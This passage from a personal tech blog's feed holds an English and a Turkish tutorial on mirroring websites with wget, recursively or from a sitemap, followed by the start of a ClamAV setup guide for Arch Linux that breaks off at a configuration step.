class="w"> </span>wget<span class="w"> </span>--wait<span class="o">=</span><span class="m">2</span><span class="w"> </span>--limit-rate<span class="o">=</span>20K<span class="w"> </span>--recursive<span class="w"> </span>--page-requisites<span class="w"> </span>--user-agent<span class="o">=</span>Mozilla<span class="w"> </span>--no-parent<span class="w"> </span>--convert-links<span class="w"> </span>--adjust-extension<span class="w"> </span>--no-clobber<span class="w"> </span>https://example.com --2017-06-30<span class="w"> </span><span class="m">19</span>:48:46--<span class="w"> </span>https://example.com/ Resolving<span class="w"> </span>example.com<span class="w"> </span><span class="o">(</span>example.com<span class="o">)</span>...<span class="w"> </span><span class="m">93</span>.184.216.34 Connecting<span class="w"> </span>to<span class="w"> </span>example.com<span class="w"> </span><span class="o">(</span>example.com<span class="o">)[</span><span class="m">93</span>.184.216.34<span class="o">]</span>:443...<span class="w"> </span>connected. HTTP<span class="w"> </span>request<span class="w"> </span>sent,<span class="w"> </span>awaiting<span class="w"> </span>response...<span class="w"> </span><span class="m">200</span><span class="w"> </span>OK Length:<span class="w"> </span><span class="m">1270</span><span class="w"> </span><span class="o">(</span><span class="m">1</span>.2K<span class="o">)</span><span class="w"> </span><span class="o">[</span>text/html<span class="o">]</span> Saving<span class="w"> </span>to:<span class="w"> </span>&lsquo;example.com/index.html&rsquo; example.com/index.html<span class="w"> </span><span class="m">100</span>%<span class="o">[===========================================================</span>&gt;<span class="o">]</span><span class="w"> </span><span class="m">1</span>.24K<span class="w"> </span>--.-KB/s<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m">0</span>.003s <span class="m">2017</span>-06-30<span class="w"> </span><span class="m">19</span>:48:46<span class="w"> </span><span class="o">(</span><span class="m">371</span><span class="w"> </span>KB/s<span class="o">)</span><span class="w"> </span>-<span class="w"> </span>&lsquo;example.com/index.html&rsquo;<span class="w"> </span>saved<span class="w"> </span><span class="o">[</span><span class="m">1270</span>/1270<span class="o">]</span> FINISHED<span class="w"> </span>--2017-06-30<span class="w"> </span><span class="m">19</span>:48:46-- Total<span class="w"> </span>wall<span class="w"> </span>clock<span class="w"> </span>time:<span class="w"> </span><span class="m">0</span>.6s Downloaded:<span class="w"> </span><span class="m">1</span><span class="w"> </span>file,<span class="w"> </span><span class="m">1</span>.2K<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m">0</span>.003s<span class="w"> </span><span class="o">(</span><span class="m">371</span><span class="w"> </span>KB/s<span class="o">)</span> Converting<span class="w"> </span>links<span class="w"> </span><span class="k">in</span><span class="w"> </span>example.com/index.html...<span class="w"> </span>nothing<span class="w"> </span>to<span class="w"> </span><span class="k">do</span>. Converted<span class="w"> </span>links<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>file<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m">0</span><span class="w"> </span>seconds. $<span class="w"> </span>tree<span class="w"> </span>example.com/ example.com/ &boxur;&boxh;&boxh;<span class="w"> </span>index.html <span class="m">0</span><span class="w"> </span>directories,<span class="w"> </span><span class="m">1</span><span class="w"> </span>file </code></pre></div> <p>See how detailed the report is, it tells every step. This is great for debugging.</p> <div class="admonition tip"> <p class="admonition-title">Shortcut: Wget Mirror Now you might say, 'Oh, writing all this is too long, isn't there a shortcut?' Of course there is. <code>wget</code> already comes with a useful <code>--mirror</code> parameter. This parameter means the same as using <code>-r -l inf -N</code>. That is, it performs recursive, infinite depth, and timestamped downloading.</p> </div> <h2 id="method-2-being-smarter-using-sitemap_1">Method 2: Being Smarter (Using Sitemap)<a class="headerlink" href="#method-2-being-smarter-using-sitemap" title="Permanent link">#</a></h2> <p>Another approach is to avoid recursive traversal of the site and download all URLs from the site's <code>sitemap.xml</code> file. This is a much cleaner method, especially when you only want specific pages.</p> <h3 id="filtering-urls-from-sitemap">Filtering URLs from Sitemap<a class="headerlink" href="#filtering-urls-from-sitemap" title="Permanent link">#</a></h3> <p>A sitemap file usually looks like this:</p> <div class="highlight"><pre><span></span><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span> <span class="nt">&lt;urlset</span><span class="w"> </span><span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span><span class="w"> </span><span class="na">xsi:schemaLocation=</span><span class="s">"http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://www.sitemaps.org/schemas/sitemap/0.9"</span><span class="nt">&gt;</span> <span class="nt">&lt;url&gt;</span> <span class="nt">&lt;loc&gt;</span>https://yuceltoluyag.github.io/<span class="nt">&lt;/loc&gt;</span> <span class="nt">&lt;lastmod&gt;</span>2014-09-15T00:00:00-03:00<span class="nt">&lt;/lastmod&gt;</span> <span class="nt">&lt;/url&gt;</span> <span class="nt">&lt;url&gt;</span> <span class="nt">&lt;loc&gt;</span>https://yuceltoluyag.github.io/en<span class="nt">&lt;/loc&gt;</span> <span class="nt">&lt;lastmod&gt;</span>2014-09-15T00:00:00-03:00<span class="nt">&lt;/lastmod&gt;</span> <span class="nt">&lt;/url&gt;</span> <span class="nt">&lt;/urlset&gt;</span> </code></pre></div> <p>Here we need to get all URLs within <code>sitemap.xml</code>. We can use <code>grep</code> for this: <code>grep "&lt;loc&gt;" sitemap.xml</code>.</p> <h3 id="removing-loc-tags">Removing Loc Tags<a class="headerlink" href="#removing-loc-tags" title="Permanent link">#</a></h3> <p>Now let's clean up the unnecessary tags: <code>sed -e 's/&lt;[^&gt;]*&gt;//g'</code></p> <h3 id="all-together">All Together<a class="headerlink" href="#all-together" title="Permanent link">#</a></h3> <p>After the previous two commands, we have a list of URLs, and this list is the parameter that <code>wget -i</code> reads.</p> <div class="highlight"><pre><span></span><code>wget<span class="w"> </span>-i<span class="w"> </span><span class="k">$(</span>grep<span class="w"> </span><span class="s2">"&lt;loc&gt;"</span><span class="w"> </span>sitemap.xml<span class="w"> </span><span class="p">|</span><span class="w"> </span>sed<span class="w"> </span>-e<span class="w"> </span><span class="s1">'s/&lt;[^&gt;]*&gt;//g'</span><span class="k">)</span> </code></pre></div> <p>And <code>wget</code> will start downloading them one by one. This method can be much more efficient for downloading only the pages we need.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></p> <h2 id="the-bottom-line_1">The Bottom Line...<a class="headerlink" href="#the-bottom-line" title="Permanent link">#</a></h2> <p>So, the bottom line is, wget is truly a treasure. You won't need to use any other GUI tool; you can do everything you can imagine on the command line. You just need to take a look at its manual for the right parameters.</p> <p>Thanks to the parameter combination above, you'll have a fully browsable, local copy.</p> <div class="admonition warning"> <p class="admonition-title">Attention ⚠️ A warning: <code>.html</code> extensions might not always work. Sometimes you might want wget to generate extensions based on Content Type, and sometimes you might need to prevent wget from generating extensions when using 'pretty URLs'. You need to adjust this according to the situation.</p> </div> <p>I hope this article is useful to you, happy downloading!</p> <ul> <li>For more information, you can check out the <a href="/en/linux-ta-httrack-kullanimi/">Using HTTrack on Linux</a> guide.</li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Actually, when I first discovered this method, I was very happy. Because I needed to download only specific pages in a very large site, and this saved me from a job that could have taken hours.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-14T11:59:00+03:002025-11-14T11:59:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-14:/wget-ile-web-sitesi-indirme/

<p>Wget ile site indirmek bir sanattır. Yanlış komutla site çöplüğe döner. Kırık linkler olmadan, offline gezmek için doğru parametreleri gösteriyorum.</p>

<p>Linux'ta bir siteyi indirmek... akl&inodot;ma direkt <code>wget</code> geliyor. Herkes tavsiye eder, biliyorsun. Ama o komut, yanl&inodot;&scedil; parametrelerle kullan&inodot;l&inodot;nca indirdi&gbreve;in &scedil;ey resmen bir &ccedil;&ouml;pl&uuml;&gbreve;e d&ouml;ner. K&inodot;r&inodot;k linkler, bo&scedil; resimler... ge&ccedil;enlerde ba&scedil;&inodot;ma geldi, sinir oldum. 😤 &Idot;&scedil;te o y&uuml;zden buraday&inodot;m, o sihirli kombinasyonu anlatmak i&ccedil;in.</p> <p>Amac&inodot;m&inodot;z basit: &Idot;ndirdi&gbreve;imiz siteyi bilgisayarda da sorunsuz gezebilelim, sunucuyu yormayal&inodot;m ve dosyalar&inodot; &uuml;st &uuml;ste yazd&inodot;rmayal&inodot;m.</p> <p>Genelde iki yol var. Biri "recursive traversal", yani siteyi dallan&inodot;p budaklanarak indirmek. Di&gbreve;eri ise sitenin <code>sitemap.xml</code> dosyas&inodot;ndaki adresleri tek tek &ccedil;ekmek. &Idot;kisi de i&scedil;e yarar, ama farkl&inodot; durumlar i&ccedil;in.</p> <h2 id="o-meshur-dal-budak-indirme-islemi">O Me&scedil;hur "Dal Budak" &Idot;ndirme &Idot;&scedil;lemi<a class="headerlink" href="#o-meshur-dal-budak-indirme-islemi" title="Permanent link">#</a></h2> <p>Tabii ki <code>wget</code> kullanaca&gbreve;&inodot;z. GNU Wget, Web'den dosyalar&inodot; etkile&scedil;imsiz olarak indirmek i&ccedil;in &uuml;cretsiz bir yard&inodot;mc&inodot; programd&inodot;r...</p> <p>...B&ouml;yle demek &ccedil;ok resmi geliyor bana. Dur, &scedil;&ouml;yle d&uuml;zelteyim: <code>wget</code>, Linux'un en eski, en sa&gbreve;lam askerlerinden biridir. &Ccedil;o&gbreve;u da&gbreve;&inodot;t&inodot;mda haz&inodot;r zaten.</p> <p>Peki, bu askeri do&gbreve;ru kullanal&inodot;m?</p> <h3 id="sihirli-sozcukler-ve-anlamlar">Sihirli S&ouml;zc&uuml;kler ve Anlamlar&inodot;<a class="headerlink" href="#sihirli-sozcukler-ve-anlamlar" title="Permanent link">#</a></h3> <p>Teknik makaleler gibi her parametreyi tek tek anlatmak istemiyorum. A&scedil;&inodot;r&inodot; s&inodot;k&inodot;c&inodot; olur. Bunun yerine, bu komutun hangi par&ccedil;as&inodot;n&inodot;n ne i&scedil;e yarad&inodot;&gbreve;&inodot;n&inodot;, hani bir araban&inodot;n par&ccedil;alar&inodot; gibi d&uuml;&scedil;&uuml;nelim.</p> <p><strong>&Ouml;nce "Kibar Olma" K&inodot;sm&inodot;:</strong> Ben genellikle <code>--wait=2</code> ile ba&scedil;lar&inodot;m. Neden mi? Bir keresinde h&inodot;zl&inodot; indirmi&scedil;tim de site sahibi beni banlam&inodot;&scedil;t&inodot;. O g&uuml;nden sonra "ne kadar nazik olursan o kadar iyi" prensibiyle hareket ediyorum. Bu komut, wget'e her dosya indirmeden &ouml;nce 2 saniye mola vermesini s&ouml;yl&uuml;yor. Hatta bazen 3 saniyeye &ccedil;&inodot;kar&inodot;yorum, kendime gelme f&inodot;rsat&inodot; buluyorum o s&inodot;rada.</p> <p>Akl&inodot;ma geldi, acaba o site sahibi hala beni engelliyor mudur? Neyse, konuya d&ouml;neyim.</p> <p>Buna benzer bir &scedil;ekilde <code>--limit-rate=20K</code> de var. Bu, indirme h&inodot;z&inodot;n&inodot; saniyede 20 kilobaytle s&inodot;n&inodot;rl&inodot;yor. Yani wget'e "h&inodot;rs yapma, yava&scedil; ve istikrarl&inodot; ol" demi&scedil; oluyorsun. Yoksa hem sunucunun band&inodot;n&inodot; t&uuml;ketirsin hem de kendi internetin kitlenir. Bu komut, &ouml;zellikle b&uuml;y&uuml;k siteler indirirken hayat kurtar&inodot;c&inodot; oluyor.</p> <p><strong>&Scedil;imdi "&Idot;&scedil;i Do&gbreve;ru Yapma" K&inodot;sm&inodot;:</strong> <code>--recursive</code> komutu, i&scedil;in sihrinin ba&scedil;lad&inodot;&gbreve;&inodot; yer. Bu, sitenin bir dal&inodot;ndan di&gbreve;erine atlayarak t&uuml;m sayfalar&inodot; indirmesini sa&gbreve;l&inodot;yor. Tav&scedil;an deli&gbreve;ine inmek gibi bir &scedil;ey. 🐇 Varsay&inodot;lan olarak 5 derine iniyor, e&gbreve;er site daha derinse <code>--level=inf</code> diyerek sonsuza kadar indirebilirsin (ama dikkatli ol, &ccedil;ok uzun s&uuml;rebilir!). Emin de&gbreve;ilim ama san&inodot;r&inodot;m <code>--level=0</code> da sonsuz i&ccedil;in ge&ccedil;erli olabilir, kontrol etmekte fayda var.</p> <p>Peki ya sayfan&inodot;n resimleri, CSS'leri? &Idot;&scedil;te <code>--page-requisites</code> burada devreye giriyor. Bu komut, sayfan&inodot;n "gerekli olan her &scedil;eyini" - resim, css, javascript gibi - beraberinde getirmesini sa&gbreve;l&inodot;yor. Bunu yapmazsan, indirdi&gbreve;in site sanki e&scedil;yas&inodot;z, bo&scedil; bir ev gibi olur, hi&ccedil;bir &scedil;ey d&uuml;zg&uuml;n g&ouml;r&uuml;nmez. 👻</p> <p><strong>Son Dokunu&scedil;lar:</strong> &Idot;ndirme bittikten sonra linkler bozulursa? &Idot;&scedil;te <code>--convert-links</code> tam da bunun i&ccedil;in. Bu komut, indirdi&gbreve;in sitenin kendi bilgisayar&inodot;nda &ccedil;al&inodot;&scedil;mas&inodot;n&inodot; sa&gbreve;l&inodot;yor. Linkleri yerel dosyalara y&ouml;nlendiriyor. Yoksa t&inodot;klad&inodot;&gbreve;&inodot;n link bo&scedil;una a&ccedil;&inodot;l&inodot;r.</p> <p><code>--adjust-extension</code> de &ccedil;ok faydal&inodot;. E&gbreve;er indirilen sayfan&inodot;n uzant&inodot;s&inodot; <code>.html</code> de&gbreve;ilse, wget onun sonuna <code>.html</code> ekliyor. Bu, yerel gezinme i&ccedil;in &ccedil;ok &ouml;nemli.</p> <p><code>--no-clobber</code> ise kopyalar&inodot; engelliyor. Yani bir dosyay&inodot; indirdin, sonra tekrar &ccedil;al&inodot;&scedil;t&inodot;r&inodot;rs&inodot;n, wget eskinin &uuml;zerine yazmaz, "bu var" deyip ge&ccedil;er. Bazen i&scedil;e yarar.</p> <div class="admonition note"> <p class="admonition-title">&Idot;pucu ⚡ Hemen &scedil;urada k&uuml;&ccedil;&uuml;k bir not b&inodot;rakay&inodot;m: <code>-e robots=off</code> parametresi, sitenin <code>robots.txt</code> dosyas&inodot;n&inodot; umursamas&inodot;n&inodot; engeller. Yani 'ben bir botum ama kurallar&inodot;na uymayaca&gbreve;&inodot;m' demi&scedil; olursun. Bunu dikkatli kullan, baz&inodot; siteler bunu sevmeyebilir.</p> </div> <h3 id="peki-bu-komutun-son-hali-nasl-olmal">Peki, Bu Komutun Son Hali Nas&inodot;l Olmal&inodot;?<a class="headerlink" href="#peki-bu-komutun-son-hali-nasl-olmal" title="Permanent link">#</a></h3> <p>&Idot;&scedil;te t&uuml;m bu tecr&uuml;belerimden sonra bir araya getirdi&gbreve;im o sihirli komut. Buna "s&uuml;per indirme b&uuml;y&uuml;s&uuml;" diyebiliriz:</p> <div class="highlight"><pre><span></span><code>wget<span class="w"> </span>--wait<span class="o">=</span><span class="m">2</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--level<span class="o">=</span>inf<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--limit-rate<span class="o">=</span>20K<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--recursive<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--page-requisites<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--user-agent<span class="o">=</span>Mozilla<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--no-parent<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--convert-links<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--adjust-extension<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--no-clobber<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-e<span class="w"> </span><span class="nv">robots</span><span class="o">=</span>off<span class="w"> </span><span class="se">\</span> <span class="w"> </span>https://example.com </code></pre></div> <h3 id="ornek-deneme">&Ouml;rnek Deneme<a class="headerlink" href="#ornek-deneme" title="Permanent link">#</a></h3> <p>Hadi <code>https://example.com</code> sitesini indirelim ve <code>wget</code>'in ne kadar "g&uuml;r&uuml;lt&uuml;c&uuml;" oldu&gbreve;unu g&ouml;relim.</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>wget<span class="w"> </span>--wait<span class="o">=</span><span class="m">2</span><span class="w"> </span>--limit-rate<span class="o">=</span>20K<span class="w"> </span>--recursive<span class="w"> </span>--page-requisites<span class="w"> </span>--user-agent<span class="o">=</span>Mozilla<span class="w"> </span>--no-parent<span class="w"> </span>--convert-links<span class="w"> </span>--adjust-extension<span class="w"> </span>--no-clobber<span class="w"> </span>https://example.com --2017-06-30<span class="w"> </span><span class="m">19</span>:48:46--<span class="w"> </span>https://example.com/ example.com<span class="w"> </span><span class="o">(</span>example.com<span class="o">)</span><span class="w"> </span>&ccedil;&ouml;z&uuml;mleniyor...<span class="w"> </span><span class="m">93</span>.184.216.34 example.com<span class="w"> </span><span class="o">(</span>example.com<span class="o">)[</span><span class="m">93</span>.184.216.34<span class="o">]</span>:443<span class="w"> </span>ba&gbreve;lan&inodot;l&inodot;yor...<span class="w"> </span>ba&gbreve;land&inodot;. HTTP<span class="w"> </span>iste&gbreve;i<span class="w"> </span>g&ouml;nderildi,<span class="w"> </span>yan&inodot;t<span class="w"> </span>bekleniyor...<span class="w"> </span><span class="m">200</span><span class="w"> </span>OK Uzunluk:<span class="w"> </span><span class="m">1270</span><span class="w"> </span><span class="o">(</span><span class="m">1</span>,2K<span class="o">)</span><span class="w"> </span><span class="o">[</span>text/html<span class="o">]</span> &lsquo;example.com/index.html&rsquo;<span class="w"> </span>olarak<span class="w"> </span>kaydediliyor. example.com/index.html<span class="w"> </span><span class="m">100</span>%<span class="o">[===========================================================</span>&gt;<span class="o">]</span><span class="w"> </span><span class="m">1</span>,24K<span class="w"> </span>--.-KB/s<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m">0</span>,003s <span class="m">2017</span>-06-30<span class="w"> </span><span class="m">19</span>:48:46<span class="w"> </span><span class="o">(</span><span class="m">371</span><span class="w"> </span>KB/s<span class="o">)</span><span class="w"> </span>-<span class="w"> </span>&lsquo;example.com/index.html&rsquo;<span class="w"> </span>kaydedildi<span class="w"> </span><span class="o">[</span><span class="m">1270</span>/1270<span class="o">]</span> B&Idot;TT&Idot;<span class="w"> </span>--2017-06-30<span class="w"> </span><span class="m">19</span>:48:46-- Toplam<span class="w"> </span>harcanan<span class="w"> </span>s&uuml;re:<span class="w"> </span><span class="m">0</span>,6s &Idot;ndirilen:<span class="w"> </span><span class="m">1</span><span class="w"> </span>dosya,<span class="w"> </span><span class="m">1</span>,2K<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m">0</span>,003s<span class="w"> </span><span class="o">(</span><span class="m">371</span><span class="w"> </span>KB/s<span class="o">)</span> example.com/index.html<span class="w"> </span>i&ccedil;indeki<span class="w"> </span>linkler<span class="w"> </span>d&ouml;n&uuml;&scedil;t&uuml;r&uuml;l&uuml;yor...<span class="w"> </span>yap&inodot;lacak<span class="w"> </span>bir<span class="w"> </span>&scedil;ey<span class="w"> </span>yok. <span class="m">1</span><span class="w"> </span>dosyadaki<span class="w"> </span>linkler<span class="w"> </span><span class="m">0</span><span class="w"> </span>saniye<span class="w"> </span>i&ccedil;inde<span class="w"> </span>d&ouml;n&uuml;&scedil;t&uuml;r&uuml;ld&uuml;. $<span class="w"> </span>tree<span class="w"> </span>example.com/ example.com/ &boxur;&boxh;&boxh;<span class="w"> </span>index.html <span class="m">0</span><span class="w"> </span>directories,<span class="w"> </span><span class="m">1</span><span class="w"> </span>file </code></pre></div> <p>Bak&inodot;n ne kadar detayl&inodot; rapor veriyor, her ad&inodot;m&inodot; s&ouml;yl&uuml;yor. Bu, hata ay&inodot;klamak i&ccedil;in &ccedil;ok g&uuml;zel.</p> <div class="admonition tip"> <p class="admonition-title">K&inodot;sa Yol: Wget Mirror &Scedil;imdi diyeceksiniz ki 'Ay bunlar&inodot; hepsini yazmak &ccedil;ok uzun, k&inodot;sa yolu yok mu?'. Var tabii <code>wget</code> zaten kullan&inodot;&scedil;l&inodot; bir <code>--mirror</code> parametresiyle gelir. Bu parametre, <code>-r -l inf -N</code> kullanmakla ayn&inodot; anlama gelir. Yani recursive, sonsuz derinlikte ve zaman damgal&inodot; indirme yapar.</p> </div> <h2 id="2-yontem-daha-zeki-olmak-sitemap-kullanm_1">2. Y&ouml;ntem: Daha Zeki Olmak (Sitemap Kullan&inodot;m&inodot;)<a class="headerlink" href="#2-yontem-daha-zeki-olmak-sitemap-kullanm" title="Permanent link">#</a></h2> <p>Ba&scedil;ka bir yakla&scedil;&inodot;m ise sitenin recursive traversal yapmaktan ka&ccedil;&inodot;nmak ve sitenin <code>sitemap.xml</code> dosyas&inodot;ndaki t&uuml;m URL'leri indirmektir. Bu, &ouml;zellikle sadece belirli sayfalar&inodot; istedi&gbreve;inizde &ccedil;ok daha temiz bir y&ouml;ntemdir.</p> <h3 id="sitemaptan-urlleri-filtreleme">Sitemap'tan URL'leri Filtreleme<a class="headerlink" href="#sitemaptan-urlleri-filtreleme" title="Permanent link">#</a></h3> <p>Bir sitemap dosyas&inodot; genellikle &scedil;u &scedil;ekildedir:</p> <div class="highlight"><pre><span></span><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span> <span class="nt">&lt;urlset</span><span class="w"> </span><span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span><span class="w"> </span><span class="na">xsi:schemaLocation=</span><span class="s">"http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://www.sitemaps.org/schemas/sitemap/0.9"</span><span class="nt">&gt;</span> <span class="nt">&lt;url&gt;</span> <span class="nt">&lt;loc&gt;</span>https://yuceltoluyag.github.io/<span class="nt">&lt;/loc&gt;</span> <span class="nt">&lt;lastmod&gt;</span>2014-09-15T00:00:00-03:00<span class="nt">&lt;/lastmod&gt;</span> <span class="nt">&lt;/url&gt;</span> <span class="nt">&lt;url&gt;</span> <span class="nt">&lt;loc&gt;</span>https://yuceltoluyag.github.io/en<span class="nt">&lt;/loc&gt;</span> <span class="nt">&lt;lastmod&gt;</span>2014-09-15T00:00:00-03:00<span class="nt">&lt;/lastmod&gt;</span> <span class="nt">&lt;/url&gt;</span> <span class="nt">&lt;/urlset&gt;</span> </code></pre></div> <p>Burada <code>sitemap.xml</code> i&ccedil;indeki t&uuml;m URL'leri almal&inodot;y&inodot;z. Bunun i&ccedil;in <code>grep</code> kullanabiliriz: <code>grep "&lt;loc&gt;" sitemap.xml</code>.</p> <h3 id="loc-etiketlerini-kaldrma">Loc Etiketlerini Kald&inodot;rma<a class="headerlink" href="#loc-etiketlerini-kaldrma" title="Permanent link">#</a></h3> <p>&Scedil;imdi gereksiz etiketleri temizleyelim: <code>sed -e 's/&lt;[^&gt;]*&gt;//g'</code></p> <h3 id="hep-bir-arada">Hep Bir Arada<a class="headerlink" href="#hep-bir-arada" title="Permanent link">#</a></h3> <p>&Ouml;nceki iki komuttan sonra elimizde bir URL listesi oldu ve bu liste, <code>wget -i</code> komutunun okudu&gbreve;u parametredir.</p> <div class="highlight"><pre><span></span><code>wget<span class="w"> </span>-i<span class="w"> </span><span class="k">$(</span>grep<span class="w"> </span><span class="s2">"&lt;loc&gt;"</span><span class="w"> </span>sitemap.xml<span class="w"> </span><span class="p">|</span><span class="w"> </span>sed<span class="w"> </span>-e<span class="w"> </span><span class="s1">'s/&lt;[^&gt;]*&gt;//g'</span><span class="k">)</span> </code></pre></div> <p>Ve <code>wget</code> bunlar&inodot; s&inodot;rayla indirmeye ba&scedil;layacakt&inodot;r. Bu y&ouml;ntem, sadece ihtiyac&inodot;m&inodot;z olan sayfalar&inodot; indirmek i&ccedil;in &ccedil;ok daha verimli olabilir.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></p> <h2 id="isin-ozu_1">&Idot;&scedil;in &Ouml;z&uuml;...<a class="headerlink" href="#isin-ozu" title="Permanent link">#</a></h2> <p>Yani, i&scedil;in &ouml;z&uuml;, wget ger&ccedil;ekten bir hazine. Ba&scedil;ka bir GUI arac&inodot; kullanman&inodot;za gerek kalmayacak, komut sat&inodot;r&inodot;nda akl&inodot;n&inodot;za gelebilecek her &scedil;eyi yapabilirsiniz. Sadece do&gbreve;ru parametreler i&ccedil;in manual'&inodot;na bir g&ouml;z atman&inodot;z yeterli.</p> <p>Yukar&inodot;daki parametre kombinasyonu sayesinde, elinizde tamamen gezinebilir, yerel bir kopya olur.</p> <div class="admonition warning"> <p class="admonition-title">Dikkat ⚠️ Bir uyar&inodot; yapay&inodot;m, <code>.html</code> uzant&inodot;lar&inodot; her i&scedil;e yaramayabilir. Bazen wget'in Content Type'a g&ouml;re uzant&inodot; &uuml;retmesini isteyebilirsiniz, bazen de 'pretty URL'ler (g&uuml;zel URL'ler) kulland&inodot;&gbreve;&inodot;n&inodot;zda wget'in uzant&inodot; &uuml;retmesini &ouml;nlemeniz gerekebilir. Bu duruma g&ouml;re ayarlaman&inodot;z gerekir.</p> </div> <p>Umar&inodot;m bu yaz&inodot; i&scedil;inize yarar, bol indirmeler</p> <ul> <li>Daha fazla bilgi i&ccedil;in <a href="/linux-ta-httrack-kullanimi">Linux&rsquo;ta HTTrack kullan&inodot;m&inodot; rehberine</a> g&ouml;z atabilirsiniz.</li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Asl&inodot;nda bu y&ouml;ntemi ilk ke&scedil;fetti&gbreve;imde &ccedil;ok sevinmi&scedil;tim. &Ccedil;&uuml;nk&uuml; &ccedil;ok b&uuml;y&uuml;k bir sitede sadece belirli bir kategorideki sayfalar&inodot; indirmem gerekiyordu ve bu beni saatlerce s&uuml;rebilecek bir i&scedil;ten kurtard&inodot;.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-14T02:30:00+03:002025-11-14T02:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-14:/en/linux-guvenlik-clamav-tam-kapsamli-rehber/

<p>Forget the previous guide. This time, we're NOT just installing a daemon; we're unleashing ClamAV's full potential, from notifications and VirusEvent to email scanning with milter, multi-core tricks, and all possible debugging.</p>

<h2 id="introduction-why-are-we-still-dealing-with-this">Introduction: Why Are We Still Dealing With This?<a class="headerlink" href="#introduction-why-are-we-still-dealing-with-this" title="Permanent link">#</a></h2> <p>Let's put aside the myth that "Linux doesn't get viruses." This complacency has become our biggest security vulnerability. Our market share may be low compared to Windows, which is why big companies don't bother releasing specialized "Endpoint Security" packages for us. Existing tools often lack the advanced features of their Windows counterparts.</p> <p>But the world has changed. Linux servers, IoT devices... The attack surface grows every day, and the number of Linux-based malware is also increasing.</p> <p>In this environment, one of the most robust, open-source, and actively developed strongholds we have is <strong>Clam AntiVirus (ClamAV)</strong>.</p> <p>ClamAV is an antivirus toolkit for UNIX systems. Since it's typically used on file/mail servers, it focuses on detecting malware with its built-in signatures; it's not a traditional "endpoint security" package. We will configure it like a server.</p> <hr/> <h3 id="step-1-installation-and-toolkit">Step 1: Installation and Toolkit<a class="headerlink" href="#step-1-installation-and-toolkit" title="Permanent link">#</a></h3> <p>As always, we're going with Arch (or its derivatives):</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>clamav </code></pre></div> <p>This command doesn't just install <code>clamav</code>; it gives us a Swiss Army knife:</p> <ul> <li><strong><code>clamd</code></strong>: Our main target. The background service (daemon).</li> <li><strong><code>clamonacc</code></strong>: Real-time protection (On-Access) service. Communicates with <code>clamd</code>.</li> <li><strong><code>clamdscan</code></strong>: A fast client that scans via the <code>clamd</code> daemon.</li> <li><strong><code>clamdtop</code></strong>: An interface to monitor <code>clamd</code>'s resource usage (like the <code>top</code> command).</li> <li><strong><code>freshclam</code></strong>: Virus signature database update tool.</li> <li><strong><code>clamconf</code></strong>: Tool for creating and checking configuration files.</li> </ul> <p>All these tools communicate with <code>clamd</code> via a <strong>socket</strong>. By default, this is done via a "LocalSocket" (a local Unix socket).</p> <h4 id="tcp-socket-warning-for-professionals">⚠️ TCP Socket Warning (For Professionals)<a class="headerlink" href="#tcp-socket-warning-for-professionals" title="Permanent link">#</a></h4> <p>ClamAV also allows remote communication by opening a network socket named "TCPSocket".</p> <div class="admonition danger"> <p class="admonition-title">Absolutely Read: Security Warning If you choose to use <code>TCPSocket</code> in your <code>clamd.conf</code> file, be aware that this port has <strong>no authentication or protection whatsoever</strong>. Generally, use the local Unix socket (<code>LocalSocket</code>). If you must expose it to the network, you must <em>very</em> strictly protect this port with firewall rules.</p> </div> <p>For more information, you can refer to these resources:</p> <ul> <li><a href="https://blog.clamav.net/2016/06/regarding-use-of-clamav-daemons-tcp.html" rel="noopener noreferrer" target="_blank">Detailed Information (Official Blog)</a></li> <li>Detailed Information (Manual): <a href="https://docs.clamav.net/manual/Usage/Scanning.html#clamd-v0101" rel="noopener noreferrer" target="_blank">TCP Socket Configuration</a></li> </ul> <p>Also, remember that when using <code>LocalSocket</code>, <code>clamd</code> must run under a user (usually <code>clamav</code> user) who has read access to the files you plan to scan.</p> <hr/> <h3 id="step-2-creating-configuration-files">Step 2: Creating Configuration Files<a class="headerlink" href="#step-2-creating-configuration-files" title="Permanent link">#</a></h3> <p>The package should come with default <code>.conf</code> files. If not, or if you want to create them from scratch, <code>clamconf</code> is for that:</p> <div class="highlight"><pre><span></span><code><span class="c1"># If necessary (usually not needed)</span> <span class="c1"># sudo clamconf -g freshclam.conf &gt; 